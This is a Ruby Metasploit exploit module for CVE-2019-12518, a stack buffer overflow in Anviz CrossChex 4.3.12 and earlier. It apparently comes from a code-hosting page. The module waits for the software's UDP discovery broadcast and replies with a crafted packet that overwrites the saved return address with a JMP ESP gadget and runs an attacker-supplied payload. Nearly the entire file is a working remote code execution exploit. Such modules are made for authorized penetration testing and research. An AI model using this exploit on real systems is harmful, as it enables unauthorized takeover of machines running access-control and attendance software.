87 lines
3.0 KiB
Ruby
87 lines
3.0 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
PACKET_LEN = 10
|
|
|
|
include Msf::Exploit::Remote::Udp
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Anviz CrossChex Buffer Overflow',
|
|
'Description' => %q{
|
|
Waits for broadcasts from Ainz CrossChex looking for new devices, and returns a custom broadcast,
|
|
triggering a stack buffer overflow.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Luis Catarino <lcatarino@protonmail.com>', # original discovery/exploit
|
|
'Pedro Rodrigues <pedrosousarodrigues@protonmail.com>', # original discovery/exploit
|
|
'agalway-r7', # Module creation
|
|
'adfoster-r7' # Module creation
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
['CVE', '2019-12518'],
|
|
['URL', 'https://www.0x90.zone/multiple/reverse/2019/11/28/Anviz-pwn.html'],
|
|
['EDB', '47734']
|
|
],
|
|
'Payload' =>
|
|
{
|
|
'Space' => 8947,
|
|
'DisableNops' => true
|
|
},
|
|
'Arch' => ARCH_X86,
|
|
'EncoderType' => Msf::Encoder::Type::Raw,
|
|
'Privileged' => true,
|
|
'Platform' => 'win',
|
|
'DisclosureDate' => '2019-11-28',
|
|
'Targets' =>
|
|
[
|
|
[
|
|
'Crosschex Standard x86 <= V4.3.12',
|
|
{
|
|
'Offset' => 261, # Overwrites stack memory to allow saved EIP to be overwritten
|
|
'Ret' => "\x07\x18\x42\x00", # Overwrites saved EIP with address of 'JMP ESP' assembly instruction found in CrossChex code
|
|
'Shift' => 4 # Positions payload to be written at beginning of ESP
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 0
|
|
)
|
|
)
|
|
deregister_udp_options
|
|
register_options(
|
|
[
|
|
Opt::CPORT(5050, true, 'Port used to listen for CrossChex Broadcast.'),
|
|
Opt::CHOST('0.0.0.0', true, 'IP address that UDP Socket listens for CrossChex broadcast on. \'0.0.0.0\' is needed to receive broadcasts.'),
|
|
OptInt.new('TIMEOUT', [true, 'Time in seconds to wait for a CrossChex broadcast. 0 or less waits indefinitely.', 100])
|
|
]
|
|
)
|
|
end
|
|
|
|
def exploit
|
|
connect_udp
|
|
|
|
res, host, port = udp_sock.recvfrom(PACKET_LEN, datastore['TIMEOUT'].to_i > 0 ? datastore['TIMEOUT'].to_i : nil)
|
|
if res.empty?
|
|
fail_with(Failure::TimeoutExpired, 'Module timed out waiting for CrossChex broadcast')
|
|
end
|
|
|
|
print_status 'CrossChex broadcast received, sending payload in response'
|
|
sploit = rand_text_english(target['Offset'])
|
|
sploit << target.ret # Overwrites saved EIP with address of 'JMP ESP' assembly instruction found in CrossChex code
|
|
sploit << rand_text_english(target['Shift']) # Positions payload to be written at beginning of ESP
|
|
sploit << payload.encoded
|
|
|
|
udp_sock.sendto(sploit, host, port)
|
|
print_status 'Payload sent'
|
|
end
|
|
end
|